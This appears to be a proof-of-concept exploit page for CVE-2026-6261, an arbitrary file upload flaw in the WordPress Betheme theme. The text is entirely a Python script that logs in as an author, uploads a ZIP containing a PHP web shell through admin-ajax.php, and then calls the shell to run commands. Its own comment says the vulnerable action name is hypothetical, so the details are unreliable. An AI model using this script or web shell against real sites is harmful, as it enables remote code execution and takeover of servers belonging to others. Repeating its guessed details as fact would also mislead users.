CVE-2026-6261 WordPress Betheme 任意文件上传漏洞

import requests import zipfile import io # Configuration target_url = "http://example.com" username = "author" password = "password" login_url = f"{target_url}/wp-login.php" upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Create malicious ZIP file containing PHP shell zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Adding a simple PHP webshell zf.writestr('shell.php', '<?php system($_GET["cmd"]); ?>') malicious_zip = zip_buffer.getvalue() # Start session and authenticate session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': upload_url } session.post(login_url, data=login_data) # Exploit: Upload the malicious ZIP file # Note: The specific action parameter 'mfn_upload_icon' is hypothetical based on the vulnerability description files = { 'file': ('exploit.zip', malicious_zip, 'application/zip') } data = { 'action': 'mfn_upload_icon' # Vulnerable action in Betheme theme } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] Upload likely successful.") # Attempt to access the uploaded shell # The path depends on the unzip logic, usually in uploads/year/month/ shell_url = f"{target_url}/wp-content/uploads/shell.php?cmd=whoami" r = session.get(shell_url) if r.status_code == 200: print(f"[+] RCE successful! Output: {r.text}") else: print("[-] Failed to access shell. Check path.") else: print("[-] Upload failed.")